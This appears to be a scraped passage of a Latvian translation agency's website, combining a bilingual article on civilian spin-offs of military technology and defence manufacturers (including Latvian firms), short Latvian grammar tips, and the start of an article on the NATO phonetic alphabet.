veidu, kā darbojas militārie spēki un aviācija. To vēsture meklējama pagājušā gadsimta 70. un 80. gados, kad pēc Izraēlas un ASV iniciatīvas tika radīti planieri, ko dēvē par bezpilota lidaparātiem (angliski – unmanned aerial vehicles jeb UAV), uz kuru dizaina bāzes vēlāk tika konstruēti arī mūsdienu droni. MIKROVIĻŅU KRĀSNS Mikroviļņu krāsns tapšanas vēsture ir ļoti īpatnēja. 1946. gadā Raytheon inženieris Pērsijs Spensers (Percy Spencer), kurš testēja militāro radaru magnetrona detaļas, saprata, ka tās ir izraisījušas viņa kabatā esošās konfektes izkušanu. Šis fenomens viņu tik ļoti ieintriģēja, ka viņš nolēma to izpētīt un izmantot. Viņš izmēģināja, novietojot olas un popkorna graudus zem magnetrona caurules, un saprata, ka tas var efektīvi uzkarsēt olas un uzsildīt popkornu. Gadu vēlāk tirgū parādījās pirmā komerciālā mikroviļņu krāsns, kurā izmantoja šo tehnoloģiju. UZŅĒMUMI, KAS APVIENO KOMERCIĀLO UN AIZSARDZĪBAS RAŽOŠANU Daudzi komercuzņēmumi saskata un izmanto iespēju kāpināt savu attīstību, iesaistoties militāro ierīču ražošanā. Uzņēmums, kura ražošanas un klientu vide ir diversificēta, var, piemēram, pārdzīvot iespējamu krīzi vai lejupslīdi kādā no nozarēm (piemērs – Covid-19 pandēmija). Armija kā valsts finansēta struktūra ir liels un stabils klients, sadarbība ar to var nozīmēt uzņēmumam dažkārt lēnu, bet pastāvīgu izaugsmi un ienākumus. Turpmāk ir minēti daži uzņēmumu piemēri , kas veiksmīgi apvieno komerciālo un militāro ražošanu. Raytheon Amerikāņu uzņēmums un viens no lielākajiem ieroču ražošanas uzņēmumiem pasaulē. Raytheon ražo plašu produktu klāstu, sākot no radaru un raķešu sistēmām līdz pat lidmašīnu dzinējiem un apkures, ventilācijas un kondicionēšanas sistēmām. Uzņēmums ražo modernāko pretraķešu sistēmu MIM-104 Patriot, kas spēj uzbrukt mērķiem vairāk nekā 100 kilometru rādiusā. Pēc apvienošanās ar United Technologies 2020. gadā Raytheon ir plašs aviācijas un kosmosa uzņēmumu portfelis, tostarp dzinēju uzņēmumi Pratt & Whitney un Collins Aerospace. Raytheon arī nav pārāk atkarīgs ne no Pentagona, ne no komerciālajām lidsabiedrībām. Boeing Boeing ir amerikāņu uzņēmums, kas galvenokārt pazīstams ar komerciālo un militāro lidmašīnu, kā arī kosmosa tehnoloģiju un aizsardzības sistēmu ražošanu. Aizsardzības nozare veido mazāk nekā vienu trešdaļu no Boeing kopējā apgrozījuma. Lielākā daļa Boeing aizsardzības nozares portfeļa ir balstīta uz aviāciju ‒ F/A-18 Super Hornet, F-15 iznīcinātāji, Apache helikopteri un vairāki novērošanas un atbalsta lidaparāti. General Dynamics Uzņēmums ir nozīmīgs tanku un smago sauszemes transportlīdzekļu piegādātājs ASV valdībai, un tam pieder vairākas kuģu būvētavas, kas ražo ar kodolieročiem aprīkojamus jūras kara flotes kuģus un zemūdenes. Uzņēmums ir slaveno Abrams tanku ražotājs. General Dynamics pieder arī Gulfstream, kas ir viens no pasaulē lielākajiem biznesa lidmašīnu ražotājiem. MILITĀRĀ NOZARE LATVIJĀ Ne tikai starptautiski uzņēmumi ir spējuši pielāgoties mūsdienu saspringtajai situācijai – arī Latvijā ir daudz dažādu uzņēmumu, kas ir spējīgi piedāvāt savus pakalpojumus un produktus militārajai nozarei. SIA “Pelegrin” Iespējams daži būs dzirdējuši par Latvijā ražotām un komplektētām ultravieglajām lidmašīnām, ko jau kopš 2022. gada izmanto arī mūsu bruņotie spēki – Tarragon. Tarragon lidmašīnas kopš 2018. gada top Rīgā, Mangaļsalā. Šīs ultravieglās lidmašīnas faktiski ir roku darbs, netiek izmantoti konveijeri vai jebkādas robotizētas iekārtas. Lidmašīnu detaļas lielākoties tiek ražotas Rīgā, – Rīga netiek ražots motors, elektronika un Tarragon izgatavotie korpusi. Tarragon ir divvietīga lidmašīna, kas var sasniegt ātrumu līdz 370 kilometriem stundā un pacelties līdz pat līdz 3,5 kilometru augstumam. Ekonomisko uzturēšanas izmaksu un izmēra dēļ SIA “Pelegrin” ražotās lidmašīnas ir iecienījuši turīgi cilvēki Eiropā, Āzijā un ASV gan privātiem, gan izklaides lidojumiem. “VR-1 FOX” 2020. gadā divu pazīstamu vietējo sacīkšu komandu – SIA “Baltic Motorsport Promotion” un SIA “Vāģi” – dibinātāji apvienoja spēkus, lai radītu labāko speciālo spēku armijas transportlīdzekli tirgū – “VR FOX”. 2021. gadā uzņēmums ieguva Latvijas Aizsardzības ministrijas finansējumu militārā cilvēku pārvadāšanas transportlīdzekļa sākotnējai projektēšanai. 2022. gadā uzņēmums noslēdza pētniecības un izstrādes līgumu ar Latvijas armiju par pirmo divu prototipu transportlīdzekļu izgatavošanu. Pirmais transportlīdzeklis tika prezentēts Ādažu militārajā poligonā 2022. gada 5. septembrī. Tas piedalījās arī Nacionālo bruņoto spēku Neatkarības dienas militārajā parādē 2022. gada 18. novembrī. Militārie skrejriteņi “Mosphera” 2020. gada izskaņā tika uzsākta paaugstinātas caurbraucamības skrejriteņa “Mosphera” projektēšana un prototipēšana, bet jau 2022. gada janvārī tika uzsākta “Mosphera” sērijveida ražošana. Tā kā galvenā prioritāte ir izturība, šie skrejriteņi ir būvēti kā tanks, un ir pieejami un lietojami mežu, lauksaimniecības, medību, loģistikas, ostu, lidostu un pat vīnkopības nozarē. Tiek ziņots, ka šie unikālie elektriskie skrejriteņi nonākuši jau pie klientiem ASV, Čehijā, Francijā, Izraēlā, Polijā, Somijā, Slovākijā un Šveicē, kā arī šo skrejriteņu patiesās iespējas jau tiek pārbaudītas Ukrainā. 2023. gada sākumā, pateicoties “Ziedot. lv” kampaņai “Labas ziņas”, četri šie elektriskie skrejriteņi tika noziedoti Ukrainas armijai. Militārie skrejriteņi “Mosphera” tiek ražoti Liepājā, uzņēmumā “Global Wolf Motors”. Uzņēmums norāda, ka šiem skrejriteņiem ir pārbaudīta augsta bezceļu caurbraucamība un maksimālais ātrums ir 100 kilometri stundā. Turklāt ar vienu uzlādi spēj nobraukt līdz pat 300 kilometriem. Šo skrejriteņu piedāvātās iespējas ir ļoti noderīgas armijas izlūkiem un specvienībām, kuru uzdevumu pamatā ir mobilitāte un izveicība. “Patria” 6x6 bruņumašīnas Parakstot līgumu ar Somijas valdību un uzņēmumu “Patria” 2021. gadā, Latvija pasūtīja vairāk nekā 200 “Patria” 6x6 bruņumašīnas, kuru piegāde ir paredzēta līdz 2029. gadam. Šis sadarbības līgums stiprina gan Latvijas Nacionālo bruņoto spēku kaujas spējas, gan Latvijas militāro nozari un ekonomiku kopumā. Uzņēmums “Patria” pieder Somijas valstij (50,1%) un Norvēģijas uzņēmumam “Kongsberg Defense & Aerospace” AS (49,9%). Uzņēmums “Patria” ir dibināts 1997. gadā, apvienojot vairākus Somijas militāro un aviācijas sistēmu ražotājus. Veicinot Latvijas militārās nozares attīstību, kā arī iespēju modernizēt, komplektēt un labot “Patria” 6x6 bruņumašīnas 2024. gada 24. maijā Valmierā tika atklāta “Patria” grupas uzņēmuma “Defence Partnership Latvia” militārās tehnikas ražotne, kurā ražos “Patria” 6x6 bruņumašīnas. Latvijas bezpilota lidaparātu ražotājs SIA "Edge Autonomy Riga" SIA "Edge Autonomy Riga" (iepriekš – “UAV Factory”) tika dibināts 2009. gadā, tā biroji atrodas gan Latvijā, gan ASV. Uzņēmums ir viens no vadošajiem bezpilota lidaparātu sistēmu piegādātājiem pasaulē. Tā ražotie lidaparāti un videokameras tiek pārdotas vairāk nekā 50 pasaules valstīs militārām, civilām un akadēmiskām vajadzībām. Šis uzņēmums jau ir piegādājis vairākas bezpilota lidaparātu sistēmas Latvijas Nacionālajiem bruņotajiem spēkiem. 2023. gadā ar ASV militāro atbalsta paketi šī uzņēmuma lidaparāta modeļi tika noziedoti Ukrainas armijai. MILITĀRO TEHNOLOĢIJU PIELĀGOŠANAS PRIEKŠROCĪBAS CIVILAJĀ SEKTORĀ Kā lasāms iepriekš, militāro tehnoloģiju pielāgošana civilajā sektorā sniedz sabiedrībai daudz priekšrocību. Armijai izstrādātos progresīvos risinājumus var izmantot ikdienā, paaugstinot iedzīvotāju drošības un komforta līmeni. To ieviešana civilajā sektorā ļauj arī izveidot izturīgāku infrastruktūru, efektīvākas glābšanas sistēmas un modernus sakaru risinājumus. Turklāt zināšanu un pieredzes pārnese no armijas uz rūpniecību stimulē un virza globālo ekonomikas un tehnoloģiju attīstību. Tas veicina jaunu darbavietu radīšanu un stiprina attiecīgās valsts pozīcijas starptautiskajā tirgū. TULKU UN TULKOTĀJU LOMA CIVILO MILITĀRO TEHNOLOĢIJU JOMĀ Attīstoties progresīvām militārām tehnoloģijām starptautiskā mērogā, tulku un tulkotāju loma kļūst arvien nozīmīgāka. Tulki un tulkotāji nodrošina efektīvu saziņu starp militārajiem speciālistiem un civilajiem partneriem, nodrošinot netraucētu zināšanu un pieredzes apmaiņu kopīgu projektu īstenošanā. Precīza instrukciju, specifikāciju un tehniskās dokumentācijas tulkošana ir būtiska, lai civilās organizācijas varētu pilnībā izmantot šo progresīvo risinājumu potenciālu. Turklāt tulki un tulkotāji atvieglo starptautisko sadarbību aizsardzības tehnoloģiju jomā, nodrošinot efektīvu saziņu starp partneriem no dažādām valstīm. Viņu loma ir izšķiroša, lai veidotu uzticēšanos un savstarpēju sapratni, kas ir ļoti svarīga inovatīvu risinājumu efektīvai izstrādei un ieviešanai. Mēs, Skrivanek, vairāk nekā 30 gadus nodrošinām militāros tulkojumus. Mums ir plaša pieredze NATO, ES un šajā nozarē strādājošo uzņēmumu konfidenciālu dokumentu tulkošanā. Izmantojam un ieviešam arī jaunas tehnoloģijas, lai apmierinātu pastāvīgi mainīgās klientu vēlmes. Aizpildiet kontaktformu mūsu tīmekļa vietnē, lai saņemtu bezmaksas piedāvājumu savam projektam, vai piesakieties tiešsaistes konsultācijai, lai uzzinātu, kā varam palīdzēt tieši jums. *Attēli radīti ar mākslīgo intelektu (MI) --- > Priekš tevis vai tev – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-07-02 - Modified: 2024-10-22 - URL: https://skrivanek.lv/prieks-tevis-vai-tev/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PRIEKŠ TEVIS VAI TEV 1 Es biļetes nopirku priekš tevis. Vai – tev? Literārā valodā prievārdu ‘priekš’ lieto ar nozīmi ‘pirms’ – gan laika, gan vietas kontekstā. Ne velti izveidojušies tādi salikteņi kā ‘priekšnams’, ‘priekšpilsēta’, ‘priekštelpa’ vai ‘priekšlaicīgs’. Tātad varētu teikt: “Biju pamodies jau priekš ausmas. ” Tiesa, arī laika un telpas kontekstā prievārda ‘priekš’ lietošana jau uzskatāma par novecojušu. Ikdienā prievārdu ‘priekš’ bieži lieto, lai nosauktu nolūku vai būtni, kam kaut kas tiek darīts vai paredzēts. Piemēram: “Es nopirku biļetes priekš brauciena. Priekš tevis un priekš manis. ” Tomēr šādas konstrukcijas uzskatāmas par sarunvalodu. Tāpēc teiksim: “Es nopirku biļetes braucienam. Tev un man. ” Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Development of military technology has a positive impact on civilian and commercial sectors. Get to know international and Latvian companies. - Published: 2024-07-02 - Modified: 2025-06-30 - URL: https://skrivanek.lv/militaras-tehnologijas/ - Kategorijas: Article - Translation Priorities: Optional MILITARY TECHNOLOGY In today's environment, more and more thought and work is being put into innovations in military and civil protection. To compete with potential adversaries, countries need to exploit and develop advanced future technologies and competences. To achieve this, working together in the field of military, civilian and technical innovation is an inevitable choice. DEVELOPMENTS IN MILITARY TECHNOLOGY HAVE LED TO SOLUTIONS THAT HAVE ENTERED OUR EVERYDAY LIVES We may not even realise that many of the inventions we use in our daily lives have their origins in the military. Some examples are given below. INTERNET The most popular invention to emerge from the military to the civilian market is the Internet. At the end of the Second World War, the US government feared that another global conflict was imminent. The Americans then concluded that the key to success in a possible future clash lay not only in strength and weapons, but also in the efficient flow of information. And so, the idea of a communications network was born. This task was assigned in 1958 by US President Dwight David Eisenhower to a dedicated research organisation called DARPA, or Defence Advanced Research Project Agency. 11 years later, the first communication nodes were built, and the ARPANET network was born – the forerunner of today's internet. It was on this network that the first e-mail in history was sent in 1971, thanks to Ray Tomlinson. His work at the US Department of Defence resulted in the software used to communicate on the government's ARPANET network. Tomlinson also introduced the @ symbol into e-mail addressing systems. GPS GPS, which we use almost every day, also has its roots in the military. It was developed for the US Navy. In December 1973, the first phase of the GPS system – NAVSTAR – began. All branches of the US military (Army, Navy, Air Force), as well as private companies and research centres, participated in this project. DRONES One of the newest devices that has found its place in the civilian market is unmanned aerial vehicles, or drones. From the very beginning, these devices were produced for military use, but nowadays they can be purchased by anyone. The most famous military drone is the Predator, recognised as one of the 10 drones that changed the world. Unmanned aerial vehicles have forever changed the way the military and aviation operate. They date back to the 1970s and 1980s, when Israeli and US initiatives created gliders known as unmanned aerial vehicles (UAVs), on the basis of which modern drones were later designed. MICROWAVE OVEN The history of the microwave oven is very peculiar. In 1946, Raytheon engineer Percy Spencer was testing magnetron parts for military radar when he realised that they had caused the candy in his pocket to melt. He was so intrigued by this phenomenon that he decided to investigate and exploit it. He tried placing eggs and popcorn kernels under the magnetron tube and realised that it could effectively heat the eggs and warm the popcorn. A year later, the first commercial microwave oven using this technology appeared on the market. COMPANIES THAT COMBINE COMMERCIAL AND DEFENCE PRODUCTION Many commercial companies see and seize the opportunity to boost their development by getting involved in the production of military devices. A company with a diversified production and customer environment can, for example, survive a potential crisis or downturn in a sector (example: the Covid-19 pandemic). The army, as a publicly funded entity, is a large and stable customer and working with it can mean sometimes slow but steady growth and income for a company. The following are some examples of companies that successfully combine commercial and military production. Raytheon An American company and one of the largest arms manufacturing companies in the world. Raytheon produces a wide range of products, from radar and missile systems to aircraft engines and heating, ventilation and air conditioning systems. The company produces the state-of-the-art MIM-104 Patriot is a surface-to-air missile (SAM) system, capable of striking targets at a range of more than 100 kilometres. Following its merger with United Technologies in 2020, Raytheon has a broad portfolio of aerospace businesses, including engine companies Pratt & Whitney and Collins Aerospace. Raytheon is also not overly dependent on either the Pentagon or commercial airlines. Boeing Boeing is an American company primarily known for the production of commercial and military aircraft as well as space technology and defence systems. The defence sector accounts for less than one third of Boeing's total turnover. Most of Boeing's defence portfolio is based on aviation – the F/A-18 Super Hornet, F-15 fighters, Apache helicopters and several surveillance and support aircraft. General Dynamics The company is a major supplier of tanks and heavy ground vehicles to the US government and owns several shipyards producing nuclear-powered naval vessels and submarines. The company is the manufacturer of the famous Abrams tanks. General Dynamics also owns Gulfstream, one of the world's largest manufacturers of business jets. MILITARY SECTOR IN LATVIA It is not only multinational companies that have been able to adapt to today's stressful situation – there are also many different companies in Latvia that are able to offer their services and products to the military sector. SIA “Pelegrin” Some of you may have heard of Tarragon, an ultra-light aircraft manufactured and assembled in Latvia, which is already being used by our Armed Forces since 2022. Tarragon aircraft are being built in Riga, Mangaļsala, since 2018. These ultra-light aircraft are actually handmade, without the use of conveyors or any robotic equipment. The aircraft parts are mostly manufactured in Riga – the engine, electronics and Tarragon-made hulls are not made in Riga. Tarragon is a two-seater aircraft that can reach speeds of up to 370 kilometres per hour and climb to an altitude of up to 3. 5 kilometres. Due to its economical maintenance costs and size, the aircraft manufactured by SIA “Pelegrin” are popular with wealthy people in Europe, Asia and the USA for both private and pleasure flights. VR-1 FOX In 2020, the founders of two well-known local racing teams – SIA “Baltic Motorsport Promotion” and SIA “Vāģi” – joined forces to create the best special forces army vehicle on the market – the VR FOX. In 2021, the company received funding from the Latvian Ministry of Defence for the initial design of a military personnel carrier. In 2022, the company signed a research and development contract with the Latvian National Armed Forces for the production of the first two prototype vehicles. The first vehicle was presented at the Ādaži military training ground on 5 September 2022. It also took part in the National Armed Forces Independence Day military parade on 18 November 2022. Military scooters Mosphera In late 2020, the design and prototyping of the Mosphera high clearance scooter was launched, with series production of the Mosphera starting in January 2022. With durability as a top priority, these scooters are built like a tank and are available and usable in forestry, agriculture, hunting, logistics, ports, airports and even viticulture. These unique electric scooters are reported to have already reached customers in the USA, the Czech Republic, France, Israel, Poland, Finland, Slovakia and Switzerland, and their true capabilities are already being tested in Ukraine. In early 2023, four of these electric scooters were donated to the Ukrainian army thanks to the “Labas ziņas” campaign on Ziedot. lv platform. The Mosphera military scooters are manufactured in Liepāja by Global Wolf Motors The company says that these scooters have been tested for high off-road capability and have a maximum speed of 100 kilometres per hour. In addition, they can travel up to 300 kilometres on a single charge. The capabilities offered by these scooters are very useful for army scouts and special units whose missions are based on mobility and agility. Patria 6x6 armoured vehicles By signing a contract with the Finnish Government and Patria in 2021, Latvia ordered more than 200 Patria 6x6 armoured personnel carriers for delivery by 2029. This cooperation agreement strengthens the combat capability of the Latvian National Armed Forces as well as the Latvian military sector and economy as a whole. Company Patria is owned by the Finnish State (50. 1%) and the Norwegian company Kongsberg Defence & Aerospace AS (49. 9%). Patria was founded in 1997 by the merger of several Finnish military and aerospace system manufacturers. In order to contribute to the development of the Latvian military sector, as well as to upgrade, assemble and repair Patria 6x6 armoured vehicles, the military equipment production facility of Defence Partnership Latvia, a Patria Group company, was opened in Valmiera on 24 May 2024, where Patria 6x6 armoured vehicles will be produced. Latvian unmanned aerial vehicle manufacturer SIA “Edge Autonomy Riga” SIA “Edge Autonomy Riga” (formerly “UAV Factory”) was founded in 2009 and has offices in Latvia and the USA. The company is one of the world's leading suppliers of unmanned aircraft systems. Its aircraft and video cameras are sold in more than 50 countries for military, civilian and academic applications. The company has already supplied several UAV systems to the Latvian National Armed Forces. In 2023, the company's aircraft models were donated to the Ukrainian army through a US military aid package. ADVANTAGES OF ADAPTING MILITARY TECHNOLOGIES TO THE CIVILIAN SECTOR As can be seen above, the adaptation of military technologies to the civilian sector brings many benefits to society. Advanced solutions developed for the army can be used in everyday life, increasing the level of safety and comfort of citizens. Their deployment in the civilian sector also allows for more resilient infrastructure, more efficient rescue systems and advanced communication solutions. In addition, the transfer of knowledge and expertise from the military to industry stimulates and drives global economic and technological development. It contributes to job creation and strengthens a country's position in the international market. ROLE OF INTERPRETERS AND TRANSLATORS IN CIVILIAN MILITARY TECHNOLOGY The role of interpreters and translators is becoming increasingly important as advanced military technologies develop internationally. Interpreters and translators ensure effective communication between military professionals and civilian counterparts, ensuring a seamless exchange of knowledge and experience in the implementation of joint projects. Accurate translation of instructions, specifications and technical documentation is essential for civilian organisations to fully exploit the potential of these advanced solutions. In addition, translators and interpreters facilitate international cooperation in the field of defence technologies, ensuring effective communication between partners from different countries. Their role is crucial to build trust and mutual understanding, which is essential for the effective development and implementation of innovative solutions. At Skrivanek, we have been providing military translations for more than 30 years. We have extensive experience in translating confidential documents for NATO, the EU and companies operating in this sector. We also use and implement new technologies to meet the ever-changing needs of our clients. Fill in the contact form on our website to get a free quote for your project, or book an online consultation to find out how we can help you. *Images created with artificial intelligence (AI) Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Pie tevīm vai pie tevis/pie manis vai pie tevīm – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-06-27 - Modified: 2025-03-12 - URL: https://skrivanek.lv/pie-tevim-vai-pie-tevis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIE TEVIS VAI PIE TEVĪM 1 Tu nāksi ciemos pie manīm un es iešu ciemos pie tevīm! Vai tomēr tu nāksi pie manis un es iešu pie tevis? Ikdienā personas vietniekvārdus ‘tu’ un ‘es’ ģenitīva locījumā bieži lieto nepareizi. Formas ‘tevīm’ un ‘manīm’ ir neliterāras. Šo vietniekvārdu pareizās formas ģenitīvā ir ‘tevis’ un ‘manis’. Tāpēc teiksim šādi: “Šodien es iešu pie tevis, bet rīt tu nāksi pie manis! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Akardions, akardeons vai akordeons – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-06-27 - Modified: 2024-06-27 - URL: https://skrivanek.lv/akardions-akardeons-vai-akordeons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AKARDIONS, AKARDEONS VAI AKORDEONS 1 Akardions, akardeons vai akordeons? Latviešu valodā vārds ‘akordeons’ aizgūts no vācu ‘Akkordeon’ (no ‘Akkord’ jeb ‘akords’ – tā ir triju vai vairāku dažāda augstuma nošu saskaņa). Latviešu valodā pārņemot citvalodu vārdus, saglabā to oriģinālo rakstību un izrunu. Precīza akordeona izcelsme nav līdz galam izpētīta, bet tiek uzskatīts, ka sākotnējo akordeonu izveidoja Kristians Frīdrihs Ludvigs Bušmans (1822. gads, Berlīne). Savukārt akordeona patents pieder armēņu meistaram Kirilam Demjanam, kurš patentēja šo instrumentu 1829. gadā Vīnē. Šobrīd gan akordeoni ļoti mainījušies un maz līdzinās 19. gadsimta instrumentiem, tomēr nosaukums ir saglabājies. Tāpēc plēšu instrumentu ar klaviatūru vienā pusē un pogām – otrā sauksim par akordeonu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Iepazīstiet militārās saziņas precizitāti. Apgūstiet militāro fonētisko alfabētu ar mūsu špikera palīdzību, sākot no Alpha līdz Žiguri. - Published: 2024-06-11 - Modified: 2025-07-16 - URL: https://skrivanek.lv/militarais-alfabets/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR MILITĀRAIS ALFABĒTS? Runājot par alfabētu, jūs, iespējams, domājat par burtiem, kas veido vārdus un teikumus. Vai domas pārceļas līdz latīņu vai varbūt kiriliskajam alfabētam? Tā ir dabiska asociācija, taču ir vērts pieminēt arī cita veida alfabētu, kas nav saistīts ar svešvalodu, tomēr palīdz efektīvai saziņai. Iepazīstieties ar militāro alfabētu, kas pazīstams arī kā NATO fonētiskais alfabēts, Starptautiskais radiotelefonijas rakstības alfabēts jeb Starptautiskās civilās aviācijas organizācijas (ICAO) alfabēts. KĀPĒC TIKA IZVEIDOTS FONĒTISKAIS ALFABĒTS? Militārā alfabēta vēsture aizsākās Pirmā pasaules kara laikā, kad armijām radās nepieciešamība pēc nepārprotamas radiosakaru sistēmas. Iedomājieties, cik viegli varēja rasties pārpratumi, pārraidot informāciju, jo īpaši tad, ja daži burti (piemēram, “b” un “p” vai “m” un “n”) traucētās radio pārraidēs skan līdzīgi. Lai novērstu kļūdas, tika ieviesta sistēma, kurā katram burtam tika piešķirts īpašs vārds. Piemēram, burta “b” vietā tiek lietots “Bravo”, bet burtu “d” aizstāj “Delta”. Militārais alfabēts novērš neskaidrības. Tas ir neticami noderīgs efektīvai saziņai. Militārais alfabēts, jo īpaši tā visizplatītākā versija – NATO fonētiskais alfabēts, ir kļuvis par būtisku rīku militārpersonām, pilotiem, jūrniekiem un daudzu citu profesiju pārstāvjiem. Skaidri definēti vārdi apzīmē katru angļu alfabēta burtu un ciparus. Tie palīdz izvairīties no kļūdām un pārpratumiem. Dažās ekstremālās situācijās tie var pat glābt dzīvību. Vai jūs interesē, kā tas darbojas? Piemēram, vārds “palīgā”. Fonētiskajā alfabētā tas skanētu “Papa Alfa Lima Īleni Golf Ādaži”. Šī saziņas metode var šķist vienkārša, taču, lai pie tās pierastu, ir nepieciešama apmācība. FONĒTISKAIS ALFABĒTS: ĪSĀ VĒSTURE Pirms Pirmā pasaules kara, parādoties divvirzienu radio un balss sakariem, fonētiskie alfabēti uzlaboja skaidrību tālsakaru un zemas kvalitātes telefonu ķēdēs. Pirmo starptautiski atzīto nemilitāro fonētisko alfabētu 1927. gadā pieņēma Starptautiskā Radio konsultatīvā komiteja (CCIR), kas bija ITU (Starptautiskās Telesakaru savienības) priekštece. Starptautiskā aeronavigācijas komisija, ICAO (Starptautiskās civilās aviācijas organizācijas) priekštece, 1932. gadā pieņēma alfabētu, kas tika lietots līdz Otrajam pasaules karam. Otrā pasaules kara laikā dažādas valstis izstrādāja savus fonētiskos alfabētus. Amerikas Savienotās Valstis 1941. gadā standartizēja savu sistēmu ar Apvienotās armijas un jūras kara flotes radiotelefonijas alfabētu, kas pazīstams kā “Able Baker”. Karaliskie gaisa spēki un citi britu spēki pieņēma līdzīgus alfabētus, ar dažiem terminiem, piemēram, “F” kā “Freddie” un “S” kā “Sugar”. Abi koda vārdi joprojām dažkārt tiek lietoti Apvienotajā Karalistē. ASV militārie spēki Otrā pasaules kara laikā veica nozīmīgus fonētisko alfabētu pētījumus. Starptautiskajā aviācijā tika pieņemts alfabēts “Able Baker”. Tomēr uz angļu valodu orientētās skaņas noveda pie alternatīvu, piemēram, “Ana Brazil” alfabēta, izstrādes Latīņamerikā. IATA 1947. gadā ierosināja ICAO izstrādāt alfabētu, kurā būtu iekļautas angļu, franču, spāņu un portugāļu valodai kopīgas skaņas. No 1948. līdz 1949. gadam valodniecības profesors Žans Pols Vinē (Jean-Paul Vinay) sadarbojās ar ICAO, lai izstrādātu jaunu fonētisko alfabētu. Vārdiem bija jābūt viegli izrunājamiem un atpazīstamiem lidotājiem visās valodās, ar labām radio pārraides un lasāmības īpašībām, kā arī līdzīgiem angļu, franču un spāņu valodā. Pārskatīto alfabētu 1951. gadā pieņēma ICAO. Tomēr šis saraksts saskārās ar problēmām, jo īpaši attiecībā uz saprotamību sliktos apstākļos. Pēc plašām pārbaudēm un pētījumiem, ko veica dažādas valstis, 1956. 